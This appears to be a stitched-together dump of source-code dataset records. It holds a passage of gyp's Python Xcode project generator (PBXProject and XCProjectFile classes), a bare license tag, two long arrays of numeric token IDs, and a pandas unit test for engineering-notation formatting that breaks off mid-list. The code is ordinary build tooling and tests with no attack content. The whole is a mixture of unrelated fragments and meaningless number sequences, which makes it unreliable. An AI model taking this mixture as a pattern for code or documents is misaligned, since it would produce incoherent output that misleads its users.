PBXBuildFile({'fileRef': file_ref})) class PBXAggregateTarget(XCTarget): pass class PBXProject(XCContainerPortal): # A PBXProject is really just an XCObject, the XCContainerPortal thing is # just to allow PBXProject to be used in the containerPortal property of # PBXContainerItemProxy. """ Attributes: path: "sample.xcodeproj". TODO(mark) Document me! _other_pbxprojects: A dictionary, keyed by other PBXProject objects. Each value is a reference to the dict in the projectReferences list associated with the keyed PBXProject. """ _schema = XCContainerPortal._schema.copy() _schema.update({ 'attributes': [0, dict, 0, 0], 'buildConfigurationList': [0, XCConfigurationList, 1, 1, XCConfigurationList()], 'compatibilityVersion': [0, str, 0, 1, 'Xcode 3.2'], 'hasScannedForEncodings': [0, int, 0, 1, 1], 'mainGroup': [0, PBXGroup, 1, 1, PBXGroup()], 'projectDirPath': [0, str, 0, 1, ''], 'projectReferences': [1, dict, 0, 0], 'projectRoot': [0, str, 0, 1, ''], 'targets': [1, XCTarget, 1, 1, []], }) def __init__(self, properties=None, id=None, parent=None, path=None): self.path = path self._other_pbxprojects = {} # super return XCContainerPortal.__init__(self, properties, id, parent) def Name(self): name = self.path if name[-10:] == '.xcodeproj': name = name[:-10] return posixpath.basename(name) def Path(self): return self.path def Comment(self): return 'Project object' def Children(self): # super children = XCContainerPortal.Children(self) # Add children that the schema doesn't know about. Maybe there's a more # elegant way around this, but this is the only case where we need to own # objects in a dictionary (that is itself in a list), and three lines for # a one-off isn't that big a deal. if 'projectReferences' in self._properties: for reference in self._properties['projectReferences']: children.append(reference['ProductGroup']) return children def PBXProjectAncestor(self): return self def _GroupByName(self, name): if not 'mainGroup' in self._properties: self.SetProperty('mainGroup', PBXGroup()) main_group = self._properties['mainGroup'] group = main_group.GetChildByName(name) if group is None: group = PBXGroup({'name': name}) main_group.AppendChild(group) return group # SourceGroup and ProductsGroup are created by default in Xcode's own # templates. def SourceGroup(self): return self._GroupByName('Source') def ProductsGroup(self): return self._GroupByName('Products') # IntermediatesGroup is used to collect source-like files that are generated # by rules or script phases and are placed in intermediate directories such # as DerivedSources. def IntermediatesGroup(self): return self._GroupByName('Intermediates') # FrameworksGroup and ProjectsGroup are top-level groups used to collect # frameworks and projects. def FrameworksGroup(self): return self._GroupByName('Frameworks') def ProjectsGroup(self): return self._GroupByName('Projects') def RootGroupForPath(self, path): """Returns a PBXGroup child of this object to which path should be added. This method is intended to choose between SourceGroup and IntermediatesGroup on the basis of whether path is present in a source directory or an intermediates directory. For the purposes of this determination, any path located within a derived file directory such as PROJECT_DERIVED_FILE_DIR is treated as being in an intermediates directory. The returned value is a two-element tuple. The first element is the PBXGroup, and the second element specifies whether that group should be organized hierarchically (True) or as a single flat list (False). """ # TODO(mark): make this a class variable and bind to self on call? # Also, this list is nowhere near exhaustive. # INTERMEDIATE_DIR and SHARED_INTERMEDIATE_DIR are used by # gyp.generator.xcode. There should probably be some way for that module # to push the names in, rather than having to hard-code them here. source_tree_groups = { 'DERIVED_FILE_DIR': (self.IntermediatesGroup, True), 'INTERMEDIATE_DIR': (self.IntermediatesGroup, True), 'PROJECT_DERIVED_FILE_DIR': (self.IntermediatesGroup, True), 'SHARED_INTERMEDIATE_DIR': (self.IntermediatesGroup, True), } (source_tree, path) = SourceTreeAndPathFromPath(path) if source_tree != None and source_tree in source_tree_groups: (group_func, hierarchical) = source_tree_groups[source_tree] group = group_func() return (group, hierarchical) # TODO(mark): make additional choices based on file extension. return (self.SourceGroup(), True) def AddOrGetFileInRootGroup(self, path): """Returns a PBXFileReference corresponding to path in the correct group according to RootGroupForPath's heuristics. If an existing PBXFileReference for path exists, it will be returned. Otherwise, one will be created and returned. """ (group, hierarchical) = self.RootGroupForPath(path) return group.AddOrGetFileByPath(path, hierarchical) def RootGroupsTakeOverOnlyChildren(self, recurse=False): """Calls TakeOverOnlyChild for all groups in the main group.""" for group in self._properties['mainGroup']._properties['children']: if isinstance(group, PBXGroup): group.TakeOverOnlyChild(recurse) def SortGroups(self): # Sort the children of the mainGroup (like "Source" and "Products") # according to their defined order. self._properties['mainGroup']._properties['children'] = \ sorted(self._properties['mainGroup']._properties['children'], cmp=lambda x,y: x.CompareRootGroup(y)) # Sort everything else by putting group before files, and going # alphabetically by name within sections of groups and files. SortGroup # is recursive. for group in self._properties['mainGroup']._properties['children']: if not isinstance(group, PBXGroup): continue if group.Name() == 'Products': # The Products group is a special case. Instead of sorting # alphabetically, sort things in the order of the targets that # produce the products. To do this, just build up a new list of # products based on the targets. products = [] for target in self._properties['targets']: if not isinstance(target, PBXNativeTarget): continue product = target._properties['productReference'] # Make sure that the product is already in the products group. assert product in group._properties['children'] products.append(product) # Make sure that this process doesn't miss anything that was already # in the products group. assert len(products) == len(group._properties['children']) group._properties['children'] = products else: group.SortGroup() def AddOrGetProjectReference(self, other_pbxproject): """Add a reference to another project file (via PBXProject object) to this one. Returns [ProductGroup, ProjectRef]. ProductGroup is a PBXGroup object in this project file that contains a PBXReferenceProxy object for each product of each PBXNativeTarget in the other project file. ProjectRef is a PBXFileReference to the other project file. If this project file already references the other project file, the existing ProductGroup and ProjectRef are returned. The ProductGroup will still be updated if necessary. """ if not 'projectReferences' in self._properties: self._properties['projectReferences'] = [] product_group = None project_ref = None if not other_pbxproject in self._other_pbxprojects: # This project file isn't yet linked to the other one. Establish the # link. product_group = PBXGroup({'name': 'Products'}) # ProductGroup is strong. product_group.parent = self # There's nothing unique about this PBXGroup, and if left alone, it will # wind up with the same set of hashables as all other PBXGroup objects # owned by the projectReferences list. Add the hashables of the # remote PBXProject that it's related to. product_group._hashables.extend(other_pbxproject.Hashables()) # The other project reports its path as relative to the same directory # that this project's path is relative to. The other project's path # is not necessarily already relative to this project. Figure out the # pathname that this project needs to use to refer to the other one. this_path = posixpath.dirname(self.Path()) projectDirPath = self.GetProperty('projectDirPath') if projectDirPath: if posixpath.isabs(projectDirPath[0]): this_path = projectDirPath else: this_path = posixpath.join(this_path, projectDirPath) other_path = gyp.common.RelativePath(other_pbxproject.Path(), this_path) # ProjectRef is weak (it's owned by the mainGroup hierarchy). project_ref = PBXFileReference({ 'lastKnownFileType': 'wrapper.pb-project', 'path': other_path, 'sourceTree': 'SOURCE_ROOT', }) self.ProjectsGroup().AppendChild(project_ref) ref_dict = {'ProductGroup': product_group, 'ProjectRef': project_ref} self._other_pbxprojects[other_pbxproject] = ref_dict self.AppendProperty('projectReferences', ref_dict) # Xcode seems to sort this list case-insensitively self._properties['projectReferences'] = \ sorted(self._properties['projectReferences'], cmp=lambda x,y: cmp(x['ProjectRef'].Name().lower(), y['ProjectRef'].Name().lower())) else: # The link already exists. Pull out the relevnt data. project_ref_dict = self._other_pbxprojects[other_pbxproject] product_group = project_ref_dict['ProductGroup'] project_ref = project_ref_dict['ProjectRef'] self._SetUpProductReferences(other_pbxproject, product_group, project_ref) return [product_group, project_ref] def _SetUpProductReferences(self, other_pbxproject, product_group, project_ref): # TODO(mark): This only adds references to products in other_pbxproject # when they don't exist in this pbxproject. Perhaps it should also # remove references from this pbxproject that are no longer present in # other_pbxproject. Perhaps it should update various properties if they # change. for target in other_pbxproject._properties['targets']: if not isinstance(target, PBXNativeTarget): continue other_fileref = target._properties['productReference'] if product_group.GetChildByRemoteObject(other_fileref) is None: # Xcode sets remoteInfo to the name of the target and not the name # of its product, despite this proxy being a reference to the product. container_item = PBXContainerItemProxy({ 'containerPortal': project_ref, 'proxyType': 2, 'remoteGlobalIDString': other_fileref, 'remoteInfo': target.Name() }) # TODO(mark): Does sourceTree get copied straight over from the other # project? Can the other project ever have lastKnownFileType here # instead of explicitFileType? (Use it if so?) Can path ever be # unset? (I don't think so.) Can other_fileref have name set, and # does it impact the PBXReferenceProxy if so? These are the questions # that perhaps will be answered one day. reference_proxy = PBXReferenceProxy({ 'fileType': other_fileref._properties['explicitFileType'], 'path': other_fileref._properties['path'], 'sourceTree': other_fileref._properties['sourceTree'], 'remoteRef': container_item, }) product_group.AppendChild(reference_proxy) def SortRemoteProductReferences(self): # For each remote project file, sort the associated ProductGroup in the # same order that the targets are sorted in the remote project file. This # is the sort order used by Xcode. def CompareProducts(x, y, remote_products): # x and y are PBXReferenceProxy objects. Go through their associated # PBXContainerItem to get the remote PBXFileReference, which will be # present in the remote_products list. x_remote = x._properties['remoteRef']._properties['remoteGlobalIDString'] y_remote = y._properties['remoteRef']._properties['remoteGlobalIDString'] x_index = remote_products.index(x_remote) y_index = remote_products.index(y_remote) # Use the order of each remote PBXFileReference in remote_products to # determine the sort order. return cmp(x_index, y_index) for other_pbxproject, ref_dict in self._other_pbxprojects.iteritems(): # Build up a list of products in the remote project file, ordered the # same as the targets that produce them. remote_products = [] for target in other_pbxproject._properties['targets']: if not isinstance(target, PBXNativeTarget): continue remote_products.append(target._properties['productReference']) # Sort the PBXReferenceProxy children according to the list of remote # products. product_group = ref_dict['ProductGroup'] product_group._properties['children'] = sorted( product_group._properties['children'], cmp=lambda x, y: CompareProducts(x, y, remote_products)) class XCProjectFile(XCObject): _schema = XCObject._schema.copy() _schema.update({ 'archiveVersion': [0, int, 0, 1, 1], 'classes': [0, dict, 0, 1, {}], 'objectVersion': [0, int, 0, 1, 45], 'rootObject': [0, PBXProject, 1, 1], }) def SetXcodeVersion(self, version): version_to_object_version = { '2.4': 45, '3.0': 45, '3.1': 45, '3.2': 46, } if not version in version_to_object_version: supported_str = ', '.join(sorted(version_to_object_version.keys())) raise Exception( 'Unsupported Xcode version %s (supported: %s)' % ( version, supported_str ) ) compatibility_version = 'Xcode %s' % version self._properties['rootObject'].SetProperty('compatibilityVersion', compatibility_version) self.SetProperty('objectVersion', version_to_object_version[version]); def ComputeIDs(self, recursive=True, overwrite=True, hash=None): # Although XCProjectFile is implemented here as an XCObject, it's not a # proper object in the Xcode sense, and it certainly doesn't have its own # ID. Pass through an attempt to update IDs to the real root object. if recursive: self._properties['rootObject'].ComputeIDs(recursive, overwrite, hash) def Print(self, file=sys.stdout): self.VerifyHasRequiredProperties() # Add the special "objects" property, which will be caught and handled # separately during printing. This structure allows a fairly standard # loop do the normal printing. self._properties['objects'] = {} self._XCPrint(file, 0, '// !$*UTF8*$!\n') if self._should_print_single_line: self._XCPrint(file, 0, '{ ') else: self._XCPrint(file, 0, '{\n') for property, value in sorted(self._properties.iteritems(), cmp=lambda x, y: cmp(x, y)): if property == 'objects': self._PrintObjects(file) else: self._XCKVPrint(file, 1, property, value) self._XCPrint(file, 0, '}\n') del self._properties['objects'] def _PrintObjects(self, file): if self._should_print_single_line: self._XCPrint(file, 0, 'objects = {') else: self._XCPrint(file, 1, 'objects = {\n') objects_by_class = {} for object in self.Descendants(): if object == self: continue class_name = object.__class__.__name__ if not class_name in objects_by_class: objects_by_class[class_name] = [] objects_by_class[class_name].append(object) for class_name in sorted(objects_by_class): self._XCPrint(file, 0, '\n') self._XCPrint(file, 0, '/* Begin ' + class_name + ' section */\n') for object in sorted(objects_by_class[class_name], cmp=lambda x, y: cmp(x.id, y.id)): object.Print(file) self._XCPrint(file, 0, '/* End ' + class_name + ' section */\n') if self._should_print_single_line: self._XCPrint(file, 0, '}; ') else: self._XCPrint(file, 1, '};\n')
bsd-3-clause
[ 3, 1898, 334, 67, 9, 6029, 4475, 3277, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 624, 18442, 2199, 570, 4306, 14, 199, 199, 2765, 859, 365, 3865, 376, 10602, 2199, 570, 4306, 436, 282, 3794, 402, 314, 199, 18442, 2199, 570, 1475, 14, 221, 1804, 23504, 402, 314, 2199, 570, 1475, 1990, 15334, 379, 199, 6788, 641, 2178, 3398, 444, 24242, 543, 10602, 12, 436, 701, 10663, 4493, 370, 11336, 315, 199, 18442, 14, 571, 436, 2607, 14717, 314, 754, 867, 4493, 315, 314, 4568, 2199, 1584, 14, 199, 199, 56, 6012, 21915, 16444, 654, 199, 199, 1918, 4306, 4545, 314, 570, 1475, 465, 5313, 701, 10602, 650, 14, 18, 334, 6100, 1183, 12, 199, 19, 14, 18, 14, 22, 395, 1325, 13541, 444, 24242, 965, 3052, 10846, 626, 314, 1475, 965, 440, 2896, 199, 1037, 14266, 590, 315, 314, 13541, 9978, 17399, 12, 436, 6466, 5459, 402, 10602, 787, 7688, 199, 475, 1586, 12731, 2199, 1584, 14, 199, 199, 18442, 2199, 1584, 787, 298, 66, 725, 1146, 582, 314, 2199, 298, 493, 2, 687, 376, 1284, 13, 751, 1159, 199, 529, 16657, 365, 5965, 282, 2082, 543, 376, 3680, 29286, 2, 3329, 14, 221, 710, 199, 1715, 570, 687, 642, 859, 1159, 1126, 16657, 365, 5965, 282, 570, 6272, 642, 199, 3619, 12, 3544, 4310, 298, 1715, 14, 21923, 5468, 1674, 221, 961, 570, 3509, 282, 4890, 199, 1802, 402, 314, 2199, 436, 365, 1006, 626, 365, 4346, 370, 675, 314, 13592, 5468, 14, 199, 8632, 1584, 10470, 315, 314, 13592, 5468, 2082, 787, 9329, 1202, 370, 3877, 199, 529, 13, 751, 2202, 12, 4066, 465, 314, 1174, 402, 7750, 14041, 4008, 315, 314, 10602, 199, 3578, 14, 199, 199, 1918, 2199, 14, 21923, 5468, 570, 365, 282, 3324, 769, 12, 5489, 315, 282, 1475, 18871, 199, 14576, 370, 314, 5612, 18926, 2926, 3324, 769, 1475, 14, 221, 710, 570, 365, 7688, 370, 25176, 199, 7087, 666, 12, 436, 365, 5737, 315, 9094, 13, 24, 14, 221, 710, 1738, 1819, 315, 314, 3324, 769, 199, 374, 282, 2600, 626, 3509, 9978, 4382, 402, 13460, 13518, 12, 436, 2877, 199, 3282, 402, 3416, 1410, 261, 13518, 14, 221, 710, 4750, 11012, 3324, 365, 282, 2600, 199, 4579, 298, 1462, 1674, 221, 710, 8039, 5523, 402, 314, 2199, 365, 11159, 701, 314, 199, 3223, 402, 642, 3324, 14, 221, 710, 2251, 2600, 365, 19272, 701, 3747, 15580, 13, 2075, 199, 1459, 11159, 701, 5504, 22681, 20379, 4110, 14, 221, 7048, 574, 315, 314, 199, 1462, 2600, 365, 6337, 282, 2600, 12, 13660, 376, 8212, 909, 14, 199, 199, 22321, 909, 315, 314, 2600, 365, 282, 3653, 402, 282, 1021, 12, 1314, 365, 15836, 701, 199, 1589, 298, 13655, 2, 3324, 402, 1924, 909, 14, 221, 437, 32246, 402, 3992, 787, 11159, 315, 282, 199, 1715, 570, 14, 221, 26794, 883, 10618, 370, 1163, 2251, 701, 2870, 12, 1808, 314, 5504, 13, 10856, 199, 426, 1800, 6355, 909, 790, 14, 221, 437, 2199, 1159, 2251, 1824, 282, 3123, 12, 543, 282, 1738, 909, 199, 1618, 1021, 9197, 4761, 737, 314, 1738, 14, 221, 3709, 376, 2893, 12, 314, 9197, 4761, 909, 23739, 199, 305, 1676, 370, 376, 18647, 26454, 909, 12669, 314, 1900, 13422, 199, 2972, 315, 314, 2199, 12, 282, 25996, 909, 22701, 465, 282, 3970, 367, 1006, 1584, 199, 22355, 315, 314, 2199, 12, 436, 282, 769, 402, 1347, 2251, 12, 1924, 402, 1314, 7890, 199, 65, 1347, 315, 314, 2199, 14, 221, 6006, 787, 9978, 3365, 2943, 402, 1347, 909, 12, 199, 10180, 465, 9197, 19675, 4277, 436, 9197, 10170, 4277, 14, 221, 1010, 642, 859, 12, 642, 199, 11704, 365, 19147, 701, 9445, 1924, 1347, 730, 23519, 687, 376, 9006, 199, 1095, 4310, 1323, 32380, 14, 199, 199, 1918, 2199, 14, 21923, 5468, 570, 1159, 1738, 2600, 2597, 3509, 282, 3324, 12, 24238, 370, 199, 1589, 298, 1462, 2, 2600, 12, 4310, 298, 1231, 1692, 1674, 221, 710, 574, 402, 1738, 1692, 365, 282, 199, 1194, 13, 10856, 909, 790, 21864, 370, 314, 1738, 9197, 4761, 909, 315, 314, 199, 1462, 2600, 14, 199, 199, 607, 10602, 12, 4036, 570, 1202, 465, 1324, 370, 282, 1347, 503, 13584, 465, 282, 4242, 3336, 199, 1618, 282, 1347, 1471, 7468, 23430, 315, 314, 14446, 882, 5731, 737, 314, 25996, 199, 785, 11812, 701, 314, 9197, 4761, 1159, 2446, 2448, 3324, 14, 221, 437, 25996, 365, 199, 2038, 1183, 11159, 465, 282, 4922, 315, 314, 10602, 4223, 14, 221, 9197, 10177, 883, 199, 7747, 1163, 9197, 10177, 465, 5521, 465, 9197, 1173, 15242, 12, 1314, 787, 21116, 370, 199, 6514, 1584, 14, 199, 199, 22321, 1323, 32380, 3509, 282, 769, 402, 1900, 22587, 12, 11159, 315, 642, 859, 701, 199, 1589, 9006, 1300, 18647, 20269, 14, 221, 6058, 402, 13801, 18647, 20269, 13624, 1298, 199, 1530, 9197, 13959, 20269, 436, 9197, 30052, 20269, 12, 1314, 17118, 370, 314, 199, 2, 12626, 5800, 83, 2, 436, 298, 3834, 14161, 8777, 31454, 2, 22587, 9080, 315, 314, 199, 18442, 4223, 14, 221, 16920, 1202, 465, 1324, 370, 3520, 22587, 334, 509, 2893, 12, 1350, 199, 1725, 315, 314, 26610, 1930, 436, 8363, 436, 10059, 83, 315, 314, 19045, 9, 787, 199, 264, 10317, 701, 32224, 2251, 12, 11812, 701, 4008, 402, 298, 1725, 2, 5548, 199, 262, 1323, 32380, 2251, 14, 221, 7048, 32224, 909, 15724, 370, 282, 32224, 199, 785, 465, 282, 298, 10350, 2, 3659, 26, 652, 1630, 440, 298, 944, 2, 314, 32224, 12, 1314, 365, 199, 24346, 701, 314, 1738, 909, 1159, 2446, 2448, 503, 282, 27509, 1572, 14, 221, 1010, 4750, 5560, 12, 314, 199, 1897, 402, 2539, 4017, 3382, 376, 18647, 20269, 436, 282, 27465, 4799, 282, 199, 22395, 16052, 11337, 1599, 26364, 1785, 12, 1325, 2337, 1159, 5965, 1373, 4499, 367, 642, 26, 199, 493, 13, 6100, 6365, 3285, 787, 3483, 370, 314, 32224, 909, 880, 465, 370, 199, 3306, 282, 2849, 570, 370, 506, 282, 3653, 402, 3663, 4545, 1830, 9445, 15392, 199, 5772, 3285, 367, 1924, 14, 221, 5723, 3285, 883, 506 ]
[ 1898, 334, 67, 9, 6029, 4475, 3277, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 624, 18442, 2199, 570, 4306, 14, 199, 199, 2765, 859, 365, 3865, 376, 10602, 2199, 570, 4306, 436, 282, 3794, 402, 314, 199, 18442, 2199, 570, 1475, 14, 221, 1804, 23504, 402, 314, 2199, 570, 1475, 1990, 15334, 379, 199, 6788, 641, 2178, 3398, 444, 24242, 543, 10602, 12, 436, 701, 10663, 4493, 370, 11336, 315, 199, 18442, 14, 571, 436, 2607, 14717, 314, 754, 867, 4493, 315, 314, 4568, 2199, 1584, 14, 199, 199, 56, 6012, 21915, 16444, 654, 199, 199, 1918, 4306, 4545, 314, 570, 1475, 465, 5313, 701, 10602, 650, 14, 18, 334, 6100, 1183, 12, 199, 19, 14, 18, 14, 22, 395, 1325, 13541, 444, 24242, 965, 3052, 10846, 626, 314, 1475, 965, 440, 2896, 199, 1037, 14266, 590, 315, 314, 13541, 9978, 17399, 12, 436, 6466, 5459, 402, 10602, 787, 7688, 199, 475, 1586, 12731, 2199, 1584, 14, 199, 199, 18442, 2199, 1584, 787, 298, 66, 725, 1146, 582, 314, 2199, 298, 493, 2, 687, 376, 1284, 13, 751, 1159, 199, 529, 16657, 365, 5965, 282, 2082, 543, 376, 3680, 29286, 2, 3329, 14, 221, 710, 199, 1715, 570, 687, 642, 859, 1159, 1126, 16657, 365, 5965, 282, 570, 6272, 642, 199, 3619, 12, 3544, 4310, 298, 1715, 14, 21923, 5468, 1674, 221, 961, 570, 3509, 282, 4890, 199, 1802, 402, 314, 2199, 436, 365, 1006, 626, 365, 4346, 370, 675, 314, 13592, 5468, 14, 199, 8632, 1584, 10470, 315, 314, 13592, 5468, 2082, 787, 9329, 1202, 370, 3877, 199, 529, 13, 751, 2202, 12, 4066, 465, 314, 1174, 402, 7750, 14041, 4008, 315, 314, 10602, 199, 3578, 14, 199, 199, 1918, 2199, 14, 21923, 5468, 570, 365, 282, 3324, 769, 12, 5489, 315, 282, 1475, 18871, 199, 14576, 370, 314, 5612, 18926, 2926, 3324, 769, 1475, 14, 221, 710, 570, 365, 7688, 370, 25176, 199, 7087, 666, 12, 436, 365, 5737, 315, 9094, 13, 24, 14, 221, 710, 1738, 1819, 315, 314, 3324, 769, 199, 374, 282, 2600, 626, 3509, 9978, 4382, 402, 13460, 13518, 12, 436, 2877, 199, 3282, 402, 3416, 1410, 261, 13518, 14, 221, 710, 4750, 11012, 3324, 365, 282, 2600, 199, 4579, 298, 1462, 1674, 221, 710, 8039, 5523, 402, 314, 2199, 365, 11159, 701, 314, 199, 3223, 402, 642, 3324, 14, 221, 710, 2251, 2600, 365, 19272, 701, 3747, 15580, 13, 2075, 199, 1459, 11159, 701, 5504, 22681, 20379, 4110, 14, 221, 7048, 574, 315, 314, 199, 1462, 2600, 365, 6337, 282, 2600, 12, 13660, 376, 8212, 909, 14, 199, 199, 22321, 909, 315, 314, 2600, 365, 282, 3653, 402, 282, 1021, 12, 1314, 365, 15836, 701, 199, 1589, 298, 13655, 2, 3324, 402, 1924, 909, 14, 221, 437, 32246, 402, 3992, 787, 11159, 315, 282, 199, 1715, 570, 14, 221, 26794, 883, 10618, 370, 1163, 2251, 701, 2870, 12, 1808, 314, 5504, 13, 10856, 199, 426, 1800, 6355, 909, 790, 14, 221, 437, 2199, 1159, 2251, 1824, 282, 3123, 12, 543, 282, 1738, 909, 199, 1618, 1021, 9197, 4761, 737, 314, 1738, 14, 221, 3709, 376, 2893, 12, 314, 9197, 4761, 909, 23739, 199, 305, 1676, 370, 376, 18647, 26454, 909, 12669, 314, 1900, 13422, 199, 2972, 315, 314, 2199, 12, 282, 25996, 909, 22701, 465, 282, 3970, 367, 1006, 1584, 199, 22355, 315, 314, 2199, 12, 436, 282, 769, 402, 1347, 2251, 12, 1924, 402, 1314, 7890, 199, 65, 1347, 315, 314, 2199, 14, 221, 6006, 787, 9978, 3365, 2943, 402, 1347, 909, 12, 199, 10180, 465, 9197, 19675, 4277, 436, 9197, 10170, 4277, 14, 221, 1010, 642, 859, 12, 642, 199, 11704, 365, 19147, 701, 9445, 1924, 1347, 730, 23519, 687, 376, 9006, 199, 1095, 4310, 1323, 32380, 14, 199, 199, 1918, 2199, 14, 21923, 5468, 570, 1159, 1738, 2600, 2597, 3509, 282, 3324, 12, 24238, 370, 199, 1589, 298, 1462, 2, 2600, 12, 4310, 298, 1231, 1692, 1674, 221, 710, 574, 402, 1738, 1692, 365, 282, 199, 1194, 13, 10856, 909, 790, 21864, 370, 314, 1738, 9197, 4761, 909, 315, 314, 199, 1462, 2600, 14, 199, 199, 607, 10602, 12, 4036, 570, 1202, 465, 1324, 370, 282, 1347, 503, 13584, 465, 282, 4242, 3336, 199, 1618, 282, 1347, 1471, 7468, 23430, 315, 314, 14446, 882, 5731, 737, 314, 25996, 199, 785, 11812, 701, 314, 9197, 4761, 1159, 2446, 2448, 3324, 14, 221, 437, 25996, 365, 199, 2038, 1183, 11159, 465, 282, 4922, 315, 314, 10602, 4223, 14, 221, 9197, 10177, 883, 199, 7747, 1163, 9197, 10177, 465, 5521, 465, 9197, 1173, 15242, 12, 1314, 787, 21116, 370, 199, 6514, 1584, 14, 199, 199, 22321, 1323, 32380, 3509, 282, 769, 402, 1900, 22587, 12, 11159, 315, 642, 859, 701, 199, 1589, 9006, 1300, 18647, 20269, 14, 221, 6058, 402, 13801, 18647, 20269, 13624, 1298, 199, 1530, 9197, 13959, 20269, 436, 9197, 30052, 20269, 12, 1314, 17118, 370, 314, 199, 2, 12626, 5800, 83, 2, 436, 298, 3834, 14161, 8777, 31454, 2, 22587, 9080, 315, 314, 199, 18442, 4223, 14, 221, 16920, 1202, 465, 1324, 370, 3520, 22587, 334, 509, 2893, 12, 1350, 199, 1725, 315, 314, 26610, 1930, 436, 8363, 436, 10059, 83, 315, 314, 19045, 9, 787, 199, 264, 10317, 701, 32224, 2251, 12, 11812, 701, 4008, 402, 298, 1725, 2, 5548, 199, 262, 1323, 32380, 2251, 14, 221, 7048, 32224, 909, 15724, 370, 282, 32224, 199, 785, 465, 282, 298, 10350, 2, 3659, 26, 652, 1630, 440, 298, 944, 2, 314, 32224, 12, 1314, 365, 199, 24346, 701, 314, 1738, 909, 1159, 2446, 2448, 503, 282, 27509, 1572, 14, 221, 1010, 4750, 5560, 12, 314, 199, 1897, 402, 2539, 4017, 3382, 376, 18647, 20269, 436, 282, 27465, 4799, 282, 199, 22395, 16052, 11337, 1599, 26364, 1785, 12, 1325, 2337, 1159, 5965, 1373, 4499, 367, 642, 26, 199, 493, 13, 6100, 6365, 3285, 787, 3483, 370, 314, 32224, 909, 880, 465, 370, 199, 3306, 282, 2849, 570, 370, 506, 282, 3653, 402, 3663, 4545, 1830, 9445, 15392, 199, 5772, 3285, 367, 1924, 14, 221, 5723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, 1, 1, 1, 1, 1, 1 ]
Winand/pandas
pandas/tests/io/formats/test_eng_formatting.py
22
8085
import numpy as np import pandas as pd from pandas import DataFrame from pandas.compat import u import pandas.io.formats.format as fmt from pandas.util import testing as tm class TestEngFormatter(object): def test_eng_float_formatter(self): df = DataFrame({'A': [1.41, 141., 14100, 1410000.]}) fmt.set_eng_float_format() result = df.to_string() expected = (' A\n' '0 1.410E+00\n' '1 141.000E+00\n' '2 14.100E+03\n' '3 1.410E+06') assert result == expected fmt.set_eng_float_format(use_eng_prefix=True) result = df.to_string() expected = (' A\n' '0 1.410\n' '1 141.000\n' '2 14.100k\n' '3 1.410M') assert result == expected fmt.set_eng_float_format(accuracy=0) result = df.to_string() expected = (' A\n' '0 1E+00\n' '1 141E+00\n' '2 14E+03\n' '3 1E+06') assert result == expected tm.reset_display_options() def compare(self, formatter, input, output): formatted_input = formatter(input) assert formatted_input == output def compare_all(self, formatter, in_out): """ Parameters: ----------- formatter: EngFormatter under test in_out: list of tuples. Each tuple = (number, expected_formatting) It is tested if 'formatter(number) == expected_formatting'. *number* should be >= 0 because formatter(-number) == fmt is also tested. *fmt* is derived from *expected_formatting* """ for input, output in in_out: self.compare(formatter, input, output) self.compare(formatter, -input, "-" + output[1:]) def test_exponents_with_eng_prefix(self): formatter = fmt.EngFormatter(accuracy=3, use_eng_prefix=True) f = np.sqrt(2) in_out = [ (f * 10 ** -24, " 1.414y"), (f * 10 ** -23, " 14.142y"), (f * 10 ** -22, " 141.421y"), (f * 10 ** -21, " 1.414z"), (f * 10 ** -20, " 14.142z"), (f * 10 ** -19, " 141.421z"), (f * 10 ** -18, " 1.414a"), (f * 10 ** -17, " 14.142a"), (f * 10 ** -16, " 141.421a"), (f * 10 ** -15, " 1.414f"), (f * 10 ** -14, " 14.142f"), (f * 10 ** -13, " 141.421f"), (f * 10 ** -12, " 1.414p"), (f * 10 ** -11, " 14.142p"), (f * 10 ** -10, " 141.421p"), (f * 10 ** -9, " 1.414n"), (f * 10 ** -8, " 14.142n"), (f * 10 ** -7, " 141.421n"), (f * 10 ** -6, " 1.414u"), (f * 10 ** -5, " 14.142u"), (f * 10 ** -4, " 141.421u"), (f * 10 ** -3, " 1.414m"), (f * 10 ** -2, " 14.142m"), (f * 10 ** -1, " 141.421m"), (f * 10 ** 0, " 1.414"), (f * 10 ** 1, " 14.142"), (f * 10 ** 2, " 141.421"), (f * 10 ** 3, " 1.414k"), (f * 10 ** 4, " 14.142k"), (f * 10 ** 5, " 141.421k"), (f * 10 ** 6, " 1.414M"), (f * 10 ** 7, " 14.142M"), (f * 10 ** 8, " 141.421M"), (f * 10 ** 9, " 1.414G"), (f * 10 ** 10, " 14.142G"), (f * 10 ** 11, " 141.421G"), (f * 10 ** 12, " 1.414T"), (f * 10 ** 13, " 14.142T"), (f * 10 ** 14, " 141.421T"), (f * 10 ** 15, " 1.414P"), (f * 10 ** 16, " 14.142P"), (f * 10 ** 17, " 141.421P"), (f * 10 ** 18, " 1.414E"), (f * 10 ** 19, " 14.142E"), (f * 10 ** 20, " 141.421E"), (f * 10 ** 21, " 1.414Z"), (f * 10 ** 22, " 14.142Z"), (f * 10 ** 23, " 141.421Z"), (f * 10 ** 24, " 1.414Y"), (f * 10 ** 25, " 14.142Y"), (f * 10 ** 26, " 141.421Y")] self.compare_all(formatter, in_out) def test_exponents_without_eng_prefix(self): formatter = fmt.EngFormatter(accuracy=4, use_eng_prefix=False) f = np.pi in_out = [ (f * 10 ** -24, " 3.1416E-24"), (f * 10 ** -23, " 31.4159E-24"), (f * 10 ** -22, " 314.1593E-24"), (f * 10 ** -21, " 3.1416E-21"), (f * 10 ** -20, " 31.4159E-21"), (f * 10 ** -19, " 314.1593E-21"), (f * 10 ** -18, " 3.1416E-18"), (f * 10 ** -17, " 31.4159E-18"), (f * 10 ** -16, " 314.1593E-18"), (f * 10 ** -15, " 3.1416E-15"), (f * 10 ** -14, " 31.4159E-15"), (f * 10 ** -13, " 314.1593E-15"), (f * 10 ** -12, " 3.1416E-12"), (f * 10 ** -11, " 31.4159E-12"), (f * 10 ** -10, " 314.1593E-12"), (f * 10 ** -9, " 3.1416E-09"), (f * 10 ** -8, " 31.4159E-09"), (f * 10 ** -7, " 314.1593E-09"), (f * 10 ** -6, " 3.1416E-06"), (f * 10 ** -5, " 31.4159E-06"), (f * 10 ** -4, " 314.1593E-06"), (f * 10 ** -3, " 3.1416E-03"), (f * 10 ** -2, " 31.4159E-03"), (f * 10 ** -1, " 314.1593E-03"), (f * 10 ** 0, " 